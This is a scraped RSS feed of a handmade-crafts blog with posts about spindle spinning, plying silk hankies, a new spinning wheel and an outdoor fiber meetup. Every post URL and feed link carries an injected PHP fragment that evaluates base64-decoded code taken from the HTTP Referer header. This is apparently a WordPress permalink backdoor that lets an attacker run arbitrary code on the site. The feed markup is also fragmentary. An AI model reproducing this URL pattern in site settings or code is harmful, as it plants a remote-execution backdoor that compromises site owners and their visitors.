Clever Crafty Foxy » Spinning http://www.clevercraftyfoxy.com A place for handmade things Sun, 01 Aug 2010 18:32:31 +0000 en hourly 1 http://wordpress.org/?v=3.0 Fiber on the Field: Knit, Crochet, Spin, Weave, Felt http://www.clevercraftyfoxy.com/2010/07/19/fiber-on-the-field-knit-crochet-spin-weave-felt/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.clevercraftyfoxy.com/2010/07/19/fiber-on-the-field-knit-crochet-spin-weave-felt/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Mon, 19 Jul 2010 14:30:30 +0000 Michelle http://www.clevercraftyfoxy.com/?p=161 Continue reading →]]> Let’s get together and make stuff with wool and yarn! Bring your favorite fiber craft to the Walker Art Center on Saturday, August 21 from 1pm – 4pm and share in the fiber love. Invite your friends! Send questions and RSVPs to me @craftymichelle on twitter.com or via email at michelle@clevercraftyfoxy.com.

This is an outdoor event, so please plan accordingly. Bring a lawn chair, sunscreen, an umbrella—whatever you think you’ll need that day. Also, please make sure to let me know you plan to come. If our group gets big (and I think it might) we’ll need to let the Walker know so we can accommodate everyone.

When: Sat, August 21, 1pm – 4pm
Where: Walker Art Center, Open Field (map)

More information on Open Field at the Walker Art Center

See you there!

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Might be a little hard to see but these are washed skeins of my hand-spun yarn drying on hangers in the basement.

Projects are planned for most of these lovelies and there will be better-lit photos to follow. Fibers represented: merino/tencel by FatCatKnits, shetland from Spunky Eclectic, alpaca/silk from Gale’s Art, merino from Sue’s Luxury Fiber, and super wash merino from Happy Hands Yarn.

There is some 2-ply, chain-ply, and singles that were fulled. So much goodness!

]]> http://www.clevercraftyfoxy.com/2010/02/02/sophisticated-yarn-washing-operation/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 All Plied Up http://www.clevercraftyfoxy.com/2009/06/04/all-plied-up/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.clevercraftyfoxy.com/2009/06/04/all-plied-up/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Fri, 05 Jun 2009 01:42:50 +0000 Michelle http://www.clevercraftyfoxy.com/?p=100 And here are the silk hankies, spun, and plied with Art Yarns Silk Mohair that I picked up at Needlework Unlimited.  Oh, this is such a lovely skein!

Ready to be plied

Art Yarns and hand spun silk ready to be plied

Finished skein.

Finished skein

]]> http://www.clevercraftyfoxy.com/2009/06/04/all-plied-up/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 Spinning silk hankies http://www.clevercraftyfoxy.com/2009/05/28/spinning-silk-hankies/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.clevercraftyfoxy.com/2009/05/28/spinning-silk-hankies/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Fri, 29 May 2009 02:24:23 +0000 Michelle http://www.clevercraftyfoxy.com/?p=96 Continue reading →]]> A new adventure in spindle spinning: hand dyed silk hankies! The hankies are from the Fiber Studio in Minneapolis, but purchased at the Shepherd’s Harvest Sheep and Wool Festival earlier this month. I’m planning on plying with Art Yarns Silk Mohair.  There is an excellent article on how to spin hankies on knitty.com.  Try it, and have fun!

Hand dyed silk hankies

Hand dyed silk hankies

Hankies on the spindle

Hankies on the spindle

]]> http://www.clevercraftyfoxy.com/2009/05/28/spinning-silk-hankies/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 Here she is! http://www.clevercraftyfoxy.com/2009/05/21/here-she-is/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.clevercraftyfoxy.com/2009/05/21/here-she-is/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Fri, 22 May 2009 01:00:18 +0000 Michelle http://www.clevercraftyfoxy.com/?p=87 Continue reading →]]> So I am married to a very intelligent, handsome and generous man who knows me well. He saw how much time I was spending with the spindles and so…he thought it would be a good idea to give me a spinning wheel for my birthday!! Oh, he was so right. :)

Below you will see photos of Twyla and the first few skeins to come off her bobbins.

The fiber is from The Fiber Studio in Minneapolis, MN.

YAY!  LOVE!

Twyla the spinning wheel

Twyla the spinning wheel

Twyla is actually the Louet Julia

Twyla is actually the Louet Julia

Navajo plyed yarn made from hand-blended batts from the Fiber Studio in Minneapolis

Navajo plied yarn made from hand-blended batts

Beautiful black alpaca and silk

Beautiful black alpaca and silk

]]> http://www.clevercraftyfoxy.com/2009/05/21/here-she-is/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 And so begins the spin http://www.clevercraftyfoxy.com/2009/04/19/and-so-begins-the-spin/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.clevercraftyfoxy.com/2009/04/19/and-so-begins-the-spin/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Sun, 19 Apr 2009 22:25:41 +0000 Michelle http://www.clevercraftyfoxy.com/?p=62 Continue reading →]]> It all started when one day I said to myself “Michelle, you can figure this out, just do it and get over it!” I had a student 2.8 ounce Ashford bottom whorl spindle, a pile of inexpensive roving and just went for it.  Now you know the rest of the story.  I got a Kundert 1.2 ounce, top whorl spindle  and some Targhee wool from The Fiber Studio in Mineapolis and fell IN LOVE with spinning. Here’s the Kundert in action, and the resulting skein.

Kundert 1.2 ounce spindle, Sarge asleep on the pillow.

Kundert 1.2 ounce spindle, Sarge asleep on the pillow.

2 ply spindle-spun Targhee wool.

2 ply spindle-spun Targhee wool.

The pile begins to grow.

The pile begins to grow.

Plying on the Asford spindle.

Plying on the Asford spindle.

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